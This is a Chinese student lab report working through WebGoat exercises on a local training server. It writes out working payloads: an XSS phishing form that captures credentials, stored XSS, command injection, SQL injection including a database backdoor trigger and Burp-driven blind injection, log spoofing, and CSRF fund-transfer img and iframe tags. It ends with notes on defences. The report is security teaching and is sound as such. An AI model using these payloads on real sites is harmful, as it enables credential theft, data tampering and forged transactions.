实验内容

• Webgoat实践下相关实验。

---

实验步骤

WebGoat： Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台，这个平台里包含了web中常见的各种漏洞，例如：跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等；

• 输入java -jar webgoat-container-7.0.1-war-exec.jar命令打开WebGoat

• 在浏览器上对WebGoat进行访问。
• 地址localhost:8080/WebGoat

Cross-Site Scripting (XSS)

Phishing with XSS（钓鱼攻击）

• 在search部分填写一个页面，用于钓鱼

</form>
<script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);}
</script>
<form name="phish">
<br>
<br>
<HR><H2>please input your information here:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

点击search后

随便输入用户名和密码

登陆后，会发现 页面填写的信息已经被捕获并且反馈回来显示在页面上。。

Stored XSS Attacks

• XSS攻击代码存储于数据库中，每次当用户打开此网页时便会执行，危害大，常用语留言板，每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容。

• 在Title中随便输入

• 在Message中输入<script>alert(" you have been attacked by tvxq !!");</script>

• 点击submit创建帖子后：

• 点击上面的连接，攻击成功。

Reflected XSS Attacks（反射型XSS）

• 非持久化，需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。
• 当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中，攻击者可以使用攻击脚本制造一个URL，然后提交到另一个网站、发邮件或让受害者点击。

Injection Flaws

Command Injection

• 命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法，简单易学，能造成大范围的损害，危及系统安全。尽管这类风险数目令人难以置信，互联网中的系统很容易受到这种形式的攻击。

• 启动WebScarab。在课程页面的下拉列表中任意选择一个页面，然后点“View"

• 在所请求的页面处添加"&netstat -an & ipconfig"。然后再点击view进行查看。

• 查看到网络端口使用的情况和IP地址。

Numeric SQL Injection（数字型SQL注入）

• 在station字段中注入特征字符，能组合成新的SQL语句。

• SELECT * FROM weather_data WHERE station=[station]

• 下面的表单允许用户查看天气数据。通过注入SQL字符串的方式查看所有的天气数据

• 选择一个城市，点“GO”
  

• 在编号后面添加“or 1=1”，确定

• 添加后点击GO，就能够看到所有城市的天气数据。

日志欺骗（Log Spoofing）

• 这种攻击时在日志文件中愚弄人的眼睛，攻击者可以利用这种方式清除他们在日志中的痕迹。

• 在Username输入fyh%0d%0aLogin Succeeded for username: admin，其中%0d是回车，%0a是换行符。

• 如图，攻击成功。

String SQL Injection

LAB: SQL Injection（SQL注入）

Stage1：String SQL Injection

• 使用SQL注入绕过认证。

• 以用户Neville登录，在密码栏中输入' or 1=1 --进行SQL注入，但是登录失败。

• 使用inspect element查看了一下网页源码，发现输入框对输入的字符长度进行了限制，最多只允许输入8个字符，将8改为40

则可以登陆成功。

Stage3：Numeric SQL Injection

• 该课程的目的是通过注入语句，浏览到原本无法浏览的信息。通过一个普通员工的账户，浏览其BOSS的账户信息。

• 点击ViewProfile浏览员工信息

• 将员工信息的value值改为101 or 1=1 order by salary desc --
• 这样根据工资高低的排名，老板的信息就会被排到第一个。

Database Backdoors（数据库后门）

• 输入101，得到了该用户的信息：

• 输入的语句没有验证，很容易进行SQL注入。若要执行两个语句，中间需要用分号分隔。输入注入语句101;update employee set salary=90000。

• 使用以下查询条件，添加触发器：

101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155232@qq.com' WHERE userid = NEW.userid

Blind Numeric SQL Injection（数字型盲注入）

• 目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int，整型。

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

• 查看pin数值是否大于10000

• 一直尝试 5000、2500，到1250发现提示变为账户有效

然后尝试2000、2250等

打开BurpSuite，设置代理proxy的options

将端口号改为5229，点击add，ok

• 设置浏览器的代理，打开浏览器右侧的“更多”，依次点击preference->advanced->natwork->settings，选择下图所示代理，端口号为自己刚刚设置的端口号。

当于将burpsuite当成中间服务器，每个数据包都流过它。。返回题目，点击go，返回BurpSuite，已经抓好包。

在Positions中，选择Sniper模式，在Payloads中，选择type类型为number，然后设置变化范围2250-2500，并设置步长为1，在Options中，选择Start attack开始攻击。

找到数据包大小变化的值为2364

在WebGoat中带入2364，正确。

CSRF

Cross Site Request Forgery(CSRF)

• 可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时，左边的菜单旁边出现一个绿色的复选标记。

• 在message中输入<img src='attack?Screen=273&menu=900&transferFunds=5000' width='1' height='1'>

• screen的值和menu的值是由上图得到的。然后通过宽高设置成1像素,隐藏掉这个图片。

• 提交后会在消息列表中看到新的消息，点击后

• 会加载下面这条消息，达到CSRF攻击的目的。

CSRF Prompt By-Pass

• 在Title输入：5229
• 在Message输入：

<iframesrc="attack?Screen=273&menu=900&transferFunds=5000"id="myFrame" frameborder="1" marginwidth="0"marginheight="0" width="800" scrolling=yes height="300"onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe><iframeid="frame2" frameborder="1" marginwidth="0"marginheight="0" width="800" scrolling=yes height="300">
</iframe>

• 得到如下结果：

---

实验后问题回答

（1）SQL注入攻击原理，如何防御
原理：

利用现有应用程序，将恶意的SQL命令注入到后台数据库引擎执行的能力。通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库，最终达到欺骗服务器执行恶意的SQL命令。

防御：

以SQL注入为例,可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。

（2）XSS攻击的原理，如何防御

原理：

XSS攻击是Web攻击中最常见的攻击方法之一，它是通过对网页注入可执行代码且成功地被浏览器
执行，达到攻击的目的，形成了一次有效XSS攻击，一旦攻击成功，它可以获取用户的联系人列
表，然后向联系人发送虚假诈骗信息，可以删除用户的日志等等。

防御：

- 在表单提交或者url参数传递前，对需要的参数进行过滤。- 过滤用户输入的检查用户输入的内容中是否有非法内容。如<>（尖括号）、”（引号）、 ‘（单引号）、%（百分比符号）、;（分号）、()（括号）、&（& 符号）、+（加号）等。严格控制输出

（3）CSRF攻击原理，如何防御

原理：

CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.

防御：

- 验证HTTP Referer字段。
- 在请求地址中添加token并验证。
- 在HTTP头中自定义属性并验证。

---

实验总结与体会

• 这次实验是在上一个实验的基础上更加深入的理解SQL和XSS攻击，虽然攻击的方法多，但是都是很有意思的攻击方法，有机会再试试没做过的题目。